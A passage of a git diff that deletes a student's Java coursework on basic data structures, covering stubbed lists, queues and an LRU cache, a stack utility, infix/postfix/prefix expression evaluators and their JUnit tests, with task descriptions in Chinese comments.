-public interface List {
-	public void add(Object o);
-	public void add(int index, Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/array/ArrayList.java b/group23/563253496/week7_stack/src/com/coding/basic/array/ArrayList.java
deleted file mode 100644
index 4576c016af..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/array/ArrayList.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package com.coding.basic.array;
-
-import com.coding.basic.Iterator;
-import com.coding.basic.List;
-
-public class ArrayList implements List {
-	
-	private int size = 0;
-	
-	private Object[] elementData = new Object[100];
-	
-	public void add(Object o){
-		
-	}
-	public void add(int index, Object o){
-		
-	}
-	
-	public Object get(int index){
-		return null;
-	}
-	
-	public Object remove(int index){
-		return null;
-	}
-	
-	public int size(){
-		return -1;
-	}
-	
-	public Iterator iterator(){
-		return null;
-	}
-	
-}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/array/ArrayUtil.java b/group23/563253496/week7_stack/src/com/coding/basic/array/ArrayUtil.java
deleted file mode 100644
index 45740e6d57..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/array/ArrayUtil.java
+++ /dev/null
@@ -1,96 +0,0 @@
-package com.coding.basic.array;
-
-public class ArrayUtil {
-	
-	/**
-	 * 给定一个整形数组a , 对该数组的值进行置换
-		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
-		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-	 * @param origin
-	 * @return
-	 */
-	public void reverseArray(int[] origin){
-		
-	}
-	
-	/**
-	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
-	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
-	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
-	 * @param oldArray
-	 * @return
-	 */
-	
-	public int[] removeZero(int[] oldArray){
-		return null;
-	}
-	
-	/**
-	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
-	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
-	 * @param array1
-	 * @param array2
-	 * @return
-	 */
-	
-	public int[] merge(int[] array1, int[] array2){
-		return  null;
-	}
-	/**
-	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-	 * 注意，老数组的元素在新数组中需要保持
-	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-	 * [2,3,6,0,0,0]
-	 * @param oldArray
-	 * @param size
-	 * @return
-	 */
-	public int[] grow(int [] oldArray,  int size){
-		return null;
-	}
-	
-	/**
-	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
-	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
-	 * max = 1, 则返回空数组 []
-	 * @param max
-	 * @return
-	 */
-	public int[] fibonacci(int max){
-		return null;
-	}
-	
-	/**
-	 * 返回小于给定最大值max的所有素数数组
-	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
-	 * @param max
-	 * @return
-	 */
-	public int[] getPrimes(int max){
-		return null;
-	}
-	
-	/**
-	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
-	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
-	 * @param max
-	 * @return
-	 */
-	public int[] getPerfectNumbers(int max){
-		return null;
-	}
-	
-	/**
-	 * 用seperator 把数组 array给连接起来
-	 * 例如array= [3,8,9], seperator = "-"
-	 * 则返回值为"3-8-9"
-	 * @param array
-	 * @param s
-	 * @return
-	 */
-	public String join(int[] array, String seperator){
-		return null;
-	}
-	
-
-}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/linklist/LRUPageFrame.java b/group23/563253496/week7_stack/src/com/coding/basic/linklist/LRUPageFrame.java
deleted file mode 100644
index 994a241a3d..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/linklist/LRUPageFrame.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package com.coding.basic.linklist;
-
-
-public class LRUPageFrame {
-	
-	private static class Node {
-		
-		Node prev;
-		Node next;
-		int pageNum;
-
-		Node() {
-		}
-	}
-
-	private int capacity;
-	
-	private int currentSize;
-	private Node first;// 链表头
-	private Node last;// 链表尾
-
-	
-	public LRUPageFrame(int capacity) {
-		this.currentSize = 0;
-		this.capacity = capacity;
-		
-	}
-
-	/**
-	 * 获取缓存中对象
-	 * 
-	 * @param key
-	 * @return
-	 */
-	public void access(int pageNum) {
-		
-		
-	}
-	
-	
-	public String toString(){
-		StringBuilder buffer = new StringBuilder();
-		Node node = first;
-		while(node != null){
-			buffer.append(node.pageNum);			
-			
-			node = node.next;
-			if(node != null){
-				buffer.append(",");
-			}
-		}
-		return buffer.toString();
-	}
-	
-	
-
-}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/linklist/LRUPageFrameTest.java b/group23/563253496/week7_stack/src/com/coding/basic/linklist/LRUPageFrameTest.java
deleted file mode 100644
index 7fd72fc2b4..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/linklist/LRUPageFrameTest.java
+++ /dev/null
@@ -1,34 +0,0 @@
-package com.coding.basic.linklist;
-
-import  org.junit.Assert;
-
-import org.junit.Test;
-
-
-public class LRUPageFrameTest {
-	
-	@Test
-	public void testAccess() {
-		LRUPageFrame frame = new LRUPageFrame(3);
-		frame.access(7);
-		frame.access(0);
-		frame.access(1);
-		Assert.assertEquals("1,0,7", frame.toString());
-		frame.access(2);
-		Assert.assertEquals("2,1,0", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,1", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,1", frame.toString());
-		frame.access(3);
-		Assert.assertEquals("3,0,2", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,3,2", frame.toString());
-		frame.access(4);
-		Assert.assertEquals("4,0,3", frame.toString());
-		frame.access(5);
-		Assert.assertEquals("5,4,0", frame.toString());
-		
-	}
-
-}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/linklist/LinkedList.java b/group23/563253496/week7_stack/src/com/coding/basic/linklist/LinkedList.java
deleted file mode 100644
index f4c7556a2e..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/linklist/LinkedList.java
+++ /dev/null
@@ -1,125 +0,0 @@
-package com.coding.basic.linklist;
-
-import com.coding.basic.Iterator;
-import com.coding.basic.List;
-
-public class LinkedList implements List {
-	
-	private Node head;
-	
-	public void add(Object o){
-		
-	}
-	public void add(int index , Object o){
-		
-	}
-	public Object get(int index){
-		return null;
-	}
-	public Object remove(int index){
-		return null;
-	}
-	
-	public int size(){
-		return -1;
-	}
-	
-	public void addFirst(Object o){
-		
-	}
-	public void addLast(Object o){
-		
-	}
-	public Object removeFirst(){
-		return null;
-	}
-	public Object removeLast(){
-		return null;
-	}
-	public Iterator iterator(){
-		return null;
-	}
-	
-	
-	private static  class Node{
-		Object data;
-		Node next;
-		
-	}
-	
-	/**
-	 * 把该链表逆置
-	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-	 */
-	public  void reverse(){		
-		
-	}
-	
-	/**
-	 * 删除一个单链表的前半部分
-	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-
-	 */
-	public  void removeFirstHalf(){
-		
-	}
-	
-	/**
-	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 * @param i
-	 * @param length
-	 */
-	public  void remove(int i, int length){
-		
-	}
-	/**
-	 * 假定当前链表和listB均包含已升序排列的整数
-	 * 从当前链表中取出那些listB所指定的元素
-	 * 例如当前链表 = 11->101->201->301->401->501->601->701
-	 * listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]  
-	 * @param list
-	 */
-	public  int[] getElements(LinkedList list){
-		return null;
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 从当前链表中中删除在listB中出现的元素 
-
-	 * @param list
-	 */
-	
-	public  void subtract(LinkedList list){
-		
-	}
-	
-	/**
-	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-	 */
-	public  void removeDuplicateValues(){
-		
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-	 * @param min
-	 * @param max
-	 */
-	public  void removeRange(int min, int max){
-		
-	}
-	
-	/**
-	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-	 * @param list
-	 */
-	public  LinkedList intersection( LinkedList list){
-		return null;
-	}
-}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/queue/CircleQueue.java b/group23/563253496/week7_stack/src/com/coding/basic/queue/CircleQueue.java
deleted file mode 100644
index 1ac659da3d..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/queue/CircleQueue.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.coding.basic.queue;
-
-public class CircleQueue {
-
-}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/queue/Josephus.java b/group23/563253496/week7_stack/src/com/coding/basic/queue/Josephus.java
deleted file mode 100644
index d629d847f4..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/queue/Josephus.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coding.basic.queue;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * 用Queue来实现Josephus问题
- * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 知道最后一个人留下来
- * @author liuxin
- *
- */
-public class Josephus {
-	
-	public static List<Integer> execute(int n, int m){
-		
-		return null;
-	}
-	
-}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/queue/JosephusTest.java b/group23/563253496/week7_stack/src/com/coding/basic/queue/JosephusTest.java
deleted file mode 100644
index 7d90318b51..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/queue/JosephusTest.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.coding.basic.queue;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-
-public class JosephusTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testExecute() {
-		
-		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
-		
-	}
-
-}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/queue/Queue.java b/group23/563253496/week7_stack/src/com/coding/basic/queue/Queue.java
deleted file mode 100644
index c4c4b7325e..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/queue/Queue.java
+++ /dev/null
@@ -1,61 +0,0 @@
-package com.coding.basic.queue;
-
-import java.util.NoSuchElementException;
-
-public class Queue<E> {
-    private Node<E> first;    
-    private Node<E> last;     
-    private int size;               
-
-    
-    private static class Node<E> {
-        private E item;
-        private Node<E> next;
-    }
-
-    
-    public Queue() {
-        first = null;
-        last  = null;
-        size = 0;
-    }
-
-    
-    public boolean isEmpty() {
-        return first == null;
-    }
-
-    public int size() {
-        return size;
-    }
-
-    
-
-    public void enQueue(E data) {
-        Node<E> oldlast = last;
-        last = new Node<E>();
-        last.item = data;
-        last.next = null;
-        if (isEmpty()) {
-        	first = last;
-        }
-        else{
-        	oldlast.next = last;
-        }
-        size++;
-    }
-
-    public E deQueue() {
-        if (isEmpty()) {
-        	throw new NoSuchElementException("Queue underflow");
-        }
-        E item = first.item;
-        first = first.next;
-        size--;
-        if (isEmpty()) {
-        	last = null;  
-        }
-        return item;
-    }
-
-}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/queue/QueueWithTwoStacks.java b/group23/563253496/week7_stack/src/com/coding/basic/queue/QueueWithTwoStacks.java
deleted file mode 100644
index bbd4715ca6..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/queue/QueueWithTwoStacks.java
+++ /dev/null
@@ -1,40 +0,0 @@
-package com.coding.basic.queue;
-
-import java.util.Stack;
-
-public class QueueWithTwoStacks<E> {
-    private Stack<E> stack1;    
-    private Stack<E> stack2;    
-
-    
-    public QueueWithTwoStacks() {
-        stack1 = new Stack<E>();
-        stack2 = new Stack<E>();
-    }
-
-   
-
-
-    public boolean isEmpty() {
-       return false;
-    }
-
-
-    
-    public int size() {
-       return -1;
-    }
-
-
-
-    public void enQueue(E item) {
-        
-    }
-
-    public E deQueue() {
-        return null;
-    }
-
-
- }
-
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/Stack.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/Stack.java
deleted file mode 100644
index de597befb4..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/stack/Stack.java
+++ /dev/null
@@ -1,64 +0,0 @@
-package com.coding.basic.stack;
-
-import java.util.ArrayList;
-import java.util.ArrayList;
-
-/**
- * Created by bdl19 on 2017/4/8.
- */
-public class Stack {
-	private int count;
-	private ArrayList elementData;
-
-	public Stack() {
-		this.count = 0;
-		elementData = new ArrayList();
-	}
-
-	public void push(Object o) {
-		count++;
-		elementData.add(o);
-
-	}
-
-	public Object pop() {
-		count--;
-		Object o = elementData.get(count);
-		elementData.remove(count);
-		return o;
-	}
-
-	public Object peek() {
-
-		return elementData.get(count-1);
-	}
-
-	public boolean isEmpty() {
-		if (count == 0) {
-			return true;
-		} else {
-			return false;
-		}
-	}
-
-	public int size() {
-		return count;
-	}
-
-	public String toString(){
-		StringBuilder sb = new StringBuilder();
-		Stack s = new Stack();
-		while(!this.isEmpty()){
-			sb.append(this.peek().toString());
-			sb.append(",");
-			s.push(this.pop());
-		}
-		while(!s.isEmpty()){
-			this.push(s.pop());
-		}
-
-//       sb.deleteCharAt(sb.length()-1);
-		return sb.toString();
-	}
-}
-
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/StackUtil.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/StackUtil.java
deleted file mode 100644
index 0148188b29..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/stack/StackUtil.java
+++ /dev/null
@@ -1,136 +0,0 @@
-package com.coding.basic.stack;
-import java.util.Stack;
-public class StackUtil {
-
-	public static void bad_reverse(Stack<Integer> s) {
-		if(s == null || s.isEmpty()){
-			return;
-		}
-		Stack<Integer> tmpStack = new Stack();
-		while(!s.isEmpty()){
-			tmpStack.push(s.pop());
-		}
-
-		s = tmpStack;
-
-	}
-
-	/**
-	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 */
-	public static void reverse(Stack<Integer> s) {
-		if(s == null || s.isEmpty()){
-			return;
-		}
-		Integer top = s.pop();
-		reverse(s);
-		addToBottom(s,top);
-
-
-	}
-	public static void addToBottom(Stack<Integer> s,  Integer value){
-		if(s.isEmpty()){
-			s.push(value);
-		} else{
-			Integer top = s.pop();
-			addToBottom(s,value);
-			s.push(top);
-		}
-
-	}
-	/**
-	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 *
-	 * @param o
-	 */
-	public static void remove(Stack s,Object o) {
-		if(s == null || s.isEmpty()){
-			return;
-		}
-		Stack tmpStack = new Stack();
-
-		while(!s.isEmpty()){
-			Object value = s.pop();
-			if(!value.equals(o)){
-				tmpStack.push(value);
-			}
-		}
-
-		while(!tmpStack.isEmpty()){
-			s.push(tmpStack.pop());
-		}
-	}
-
-	/**
-	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * @param len
-	 * @return
-	 */
-	public static Object[] getTop(Stack s,int len) {
-
-		if(s == null || s.isEmpty() || s.size()<len || len <=0 ){
-			return null;
-		}
-
-		Stack tmpStack = new Stack();
-		int i = 0;
-		Object[] result = new Object[len];
-		while(!s.isEmpty()){
-			Object value = s.pop();
-			tmpStack.push(value);
-			result[i++] = value;
-			if(i == len){
-				break;
-			}
-		}
-
-		return result;
-	}
-	/**
-	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
-	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
-	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
-	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
-	 * @param s
-	 * @return
-	 */
-	public static boolean isValidPairs(String s){
-
-		Stack<Character> stack = new Stack();
-		for(int i=0;i<s.length();i++){
-			char c = s.charAt(i);
-
-			if(c == '(' || c =='[' || c == '{'){
-
-				stack.push(c);
-
-			} else if( c == ')'){
-
-				char topChar = stack.pop();
-				if(topChar != '('){
-					return false;
-				}
-
-			} else if( c == ']'){
-
-				char topChar = stack.pop();
-				if(topChar != '['){
-					return false;
-				}
-
-			} else if( c == '}'){
-
-				char topChar = stack.pop();
-				if(topChar != '{'){
-					return false;
-				}
-
-			}
-		}
-		return stack.size() == 0;
-	}
-
-
-}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/StackUtilTest.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/StackUtilTest.java
deleted file mode 100644
index 76f2cb7668..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/stack/StackUtilTest.java
+++ /dev/null
@@ -1,65 +0,0 @@
-package com.coding.basic.stack;
-
-import java.util.Stack;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-public class StackUtilTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	
-	@Test
-	public void testReverse() {
-		Stack<Integer> s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		s.push(4);
-		s.push(5);
-		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
-		StackUtil.reverse(s);
-		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
-	}
-	
-	@Test
-	public void testRemove() {
-		Stack<Integer> s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		StackUtil.remove(s, 2);
-		Assert.assertEquals("[1, 3]", s.toString());
-	}
-
-	@Test
-	public void testGetTop() {
-		Stack<Integer> s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		s.push(4);
-		s.push(5);
-		{
-			Object[] values = StackUtil.getTop(s, 3);
-			Assert.assertEquals(5, values[0]);
-			Assert.assertEquals(4, values[1]);
-			Assert.assertEquals(3, values[2]);
-		}
-	}
-
-	@Test
-	public void testIsValidPairs() {
-		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
-		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
-	}
-
-}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixExpr.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixExpr.java
deleted file mode 100644
index ef85ff007f..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixExpr.java
+++ /dev/null
@@ -1,15 +0,0 @@
-package com.coding.basic.stack.expr;
-
-public class InfixExpr {
-	String expr = null;
-	
-	public InfixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-		return 0.0f;
-	}
-	
-	
-}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixExprTest.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixExprTest.java
deleted file mode 100644
index 20e34e8852..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixExprTest.java
+++ /dev/null
@@ -1,52 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class InfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-		{
-			InfixExpr expr = new InfixExpr("2+3*4+5");
-			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-		}
-		{
-			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("3*20/2");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("20/2*3");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("10-30+50");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		{
-			InfixExpr expr = new InfixExpr("10-2*3+50");
-			Assert.assertEquals(54, expr.evaluate(), 0.001f);
-		}
-		
-	}
-
-}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixToPostfix.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixToPostfix.java
deleted file mode 100644
index 92c31a1085..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixToPostfix.java
+++ /dev/null
@@ -1,110 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import com.coding.basic.stack.Stack;
-
-import java.util.ArrayList;
-import java.util.LinkedList;
-import java.util.List;
-
-public class InfixToPostfix {
-    private static List op = new ArrayList();
-
-    public static List<Token> convert(String expr) {
-        op.add('+');
-        op.add('-');
-        op.add('*');
-        op.add('/');
-        List<String> numList = new LinkedList<>();
-        List<String> opList = new LinkedList<>();
-
-        List<Token> list = new ArrayList<Token>();
-
-
-        char[] chars = expr.toCharArray();
-
-        int index = 0;
-        while (index < chars.length) {
-            if (op.contains(chars[index])) {
-                if (chars[index] == '*' || chars[index] == '/') {
-
-                    char oper = chars[index];
-
-                    StringBuilder sb = new StringBuilder();
-                    index++;
-                    while (chars[index] >= '0' && chars[index] <= '9') {
-                        sb.append(chars[index]);
-                        index++;
-                    }
-                    String s = numList.get(numList.size() - 1);
-                    numList.remove(numList.size() - 1);
-                    StringBuilder buffer = new StringBuilder();
-                    buffer.append(s + ' ');
-                    buffer.append(sb);
-                    buffer.append(oper);
-                    numList.add(buffer.toString());
-                    //numStack.push(buffer.toString());
-
-                } else {
-                    opList.add("" + chars[index]);
-                    //opStack.push(chars[index]);
-                }
-                index++;
-            } else if (chars[index] == ' ') {
-                index++;
-            } else {
-                StringBuilder sb = new StringBuilder();
-                while (chars[index] >= '0' && chars[index] <= '9') {
-                    sb.append(chars[index]);
-                    index++;
-                }
-                numList.add(sb.toString());
-                //numStack.push(sb.toString());
-            }
-
-        }
-
-        int opListIndex = 0;
-        while (opListIndex < opList.size()) {
-            for (int i = 0; i < opList.size(); i++) {
-                String a = numList.get(0);
-                String b = numList.get(1);
-                numList.set(0, a + " " + b + " " + opList.get(opListIndex));
-                numList.remove(1);
-            }
-        }
-
-        String postfixExpr = numList.get(0);
-        char[] chars1 = postfixExpr.toCharArray();
-        index = 0;
-        while (index < chars1.length) {
-            if (chars1[index] == '+') {
-                Token token = new Token(1, "+");
-                list.add(token);
-            } else if (chars1[index] == '-') {
-                Token token = new Token(1, "-");
-                list.add(token);
-            } else if (chars1[index] == '*') {
-                Token token = new Token(1, "*");
-                list.add(token);
-            } else if (chars1[index] == '/') {
-                Token token = new Token(1, "/");
-                list.add(token);
-            }else if (chars1[index] == ' '){
-                index++;
-            }else {
-                StringBuilder sb = new StringBuilder();
-                while (chars1[index] >= '0' && chars1[index] <= '9') {
-                    sb.append(chars1[index]);
-                    index++;
-                }
-                Token token = new Token(2, sb.toString());
-                list.add(token);
-            }
-
-        }
-
-        return list;
-    }
-
-
-}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PostfixExpr.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PostfixExpr.java
deleted file mode 100644
index 8400bef4f8..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PostfixExpr.java
+++ /dev/null
@@ -1,95 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Stack;
-
-public class PostfixExpr {
-    String expr = null;
-    int count;
-    ArrayList operator = new ArrayList();
-    Stack numStack = new Stack();
-
-    public PostfixExpr(String expr) {
-        this.expr = expr;
-    }
-
-    public float evaluate() {
-        operator.add('+');
-        operator.add('-');
-        operator.add('*');
-        operator.add('/');
-        this.count = 0;
-        char[] exprs = this.expr.toCharArray();
-
-
-
-        while (count < exprs.length) {
-            if (operator.contains(exprs[count])) {
-                switch (exprs[count]) {
-                    case '+':
-                        add();
-                        break;
-                    case '-':
-                        subtract();
-                        break;
-                    case '*':
-                        multiply();
-                        break;
-                    case '/':
-                        divide();
-                        break;
-
-                }
-                this.count++;
-            } else if (exprs[count] == ' ') {
-                this.count++;
-            } else {
-                int num = getNum(exprs);
-                numStack.push(num);
-            }
-
-        }
-        int result = (int)numStack.pop();
-        return result;
-    }
-
-    private int getNum(char[] exprs) {
-
-        int num = exprs[count]-'0';
-        this.count++;
-
-        while (exprs[count] >= '0' && exprs[count] <= '9') {
-
-            num *= 10;
-            num += exprs[count]-'0';
-            this.count++;
-        }
-        return num;
-    }
-
-    private void add() {
-        int a = (int) numStack.pop();
-        int b = (int) numStack.pop();
-        numStack.push(a + b);
-    }
-
-    private void subtract() {
-        int a = (int) numStack.pop();
-        int b = (int) numStack.pop();
-        numStack.push(b - a);
-    }
-
-    private void multiply() {
-        int a = (int) numStack.pop();
-        int b = (int) numStack.pop();
-        numStack.push(b * a);
-    }
-
-    private void divide() {
-        int a = (int) numStack.pop();
-        int b = (int) numStack.pop();
-        numStack.push(b / a);
-    }
-
-}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PostfixExprTest.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PostfixExprTest.java
deleted file mode 100644
index c0435a2db5..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PostfixExprTest.java
+++ /dev/null
@@ -1,41 +0,0 @@
-package com.coding.basic.stack.expr;
-
-
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-
-public class PostfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
-			Assert.assertEquals(288, expr.evaluate(),0.0f);
-		}
-		{
-			//9+(3-1)*3+10/2
-			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
-			Assert.assertEquals(20, expr.evaluate(),0.0f);
-		}
-		
-		{
-			//10-2*3+50
-			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
-			Assert.assertEquals(54, expr.evaluate(),0.0f);
-		}
-	}
-
-}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PrefixExpr.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PrefixExpr.java
deleted file mode 100644
index 7a2c0379a1..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PrefixExpr.java
+++ /dev/null
@@ -1,98 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Stack;
-
-public class PrefixExpr {
-    String expr = null;
-    int index;
-    ArrayList operator = new ArrayList();
-    Stack numStack = new Stack();
-
-    public PrefixExpr(String expr) {
-        this.expr = expr;
-    }
-
-    public float evaluate() {
-
-        operator.add('+');
-        operator.add('-');
-        operator.add('*');
-        operator.add('/');
-        char[] exprs = this.expr.toCharArray();
-        this.index = exprs.length - 1;
-
-        while (index >= 0) {
-            if (operator.contains(exprs[index])) {
-                switch (exprs[index]) {
-                    case '+':
-                        add();
-                        break;
-                    case '-':
-                        subtract();
-                        break;
-                    case '*':
-                        multiply();
-                        break;
-                    case '/':
-                        divide();
-                        break;
-
-                }
-                this.index--;
-            } else if (exprs[index] == ' ') {
-                this.index--;
-            } else {
-                int num = getNum(exprs);
-                numStack.push(num);
-            }
-
-        }
-        int result = (int) numStack.pop();
-        return result;
-
-    }
-
-    private int getNum(char[] exprs) {
-
-        int num = exprs[index] - '0';
-        this.index--;
-        int i = 10;
-        while (exprs[index] >= '0' && exprs[index] <= '9') {
-
-            int temp = exprs[index] - '0';
-            temp *= i;
-            num += temp;
-            i *= 10;
-            this.index--;
-        }
-        return num;
-    }
-
-    private void add() {
-        int a = (int) numStack.pop();
-        int b = (int) numStack.pop();
-        numStack.push(a + b);
-    }
-
-    private void subtract() {
-        int a = (int) numStack.pop();
-        int b = (int) numStack.pop();
-        numStack.push(a - b);
-    }
-
-    private void multiply() {
-        int a = (int) numStack.pop();
-        int b = (int) numStack.pop();
-        numStack.push(b * a);
